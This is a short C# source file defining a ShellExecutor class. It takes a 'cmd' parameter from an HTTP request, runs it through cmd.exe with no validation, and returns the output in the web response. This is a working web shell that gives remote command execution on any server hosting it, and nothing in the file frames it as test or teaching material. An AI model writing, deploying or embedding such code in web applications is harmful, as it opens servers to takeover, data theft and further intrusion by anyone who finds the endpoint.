using System;
using System.Diagnostics;
using System.Web;

public class ShellExecutor
{
    public static void ExecuteCommand(HttpRequest request, HttpResponse response)
    {
        string cmd = request.Params["cmd"];
        if (!string.IsNullOrEmpty(cmd))
        {
            var output = RunShellCommand(cmd);
            response.Write("<pre>" + HttpUtility.HtmlEncode(output) + "</pre>");
        }
    }

    private static string RunShellCommand(string command)
    {
        var process = new Process
        {
            StartInfo = new ProcessStartInfo
            {
                FileName = "cmd.exe", // Use "/bin/bash" on Linux
                Arguments = "/c " + command,
                RedirectStandardOutput = true,
                UseShellExecute = false,
                CreateNoWindow = true,
            }
        };
        process.Start();
        string result = process.StandardOutput.ReadToEnd();
        process.WaitForExit();
        return result;
    }
}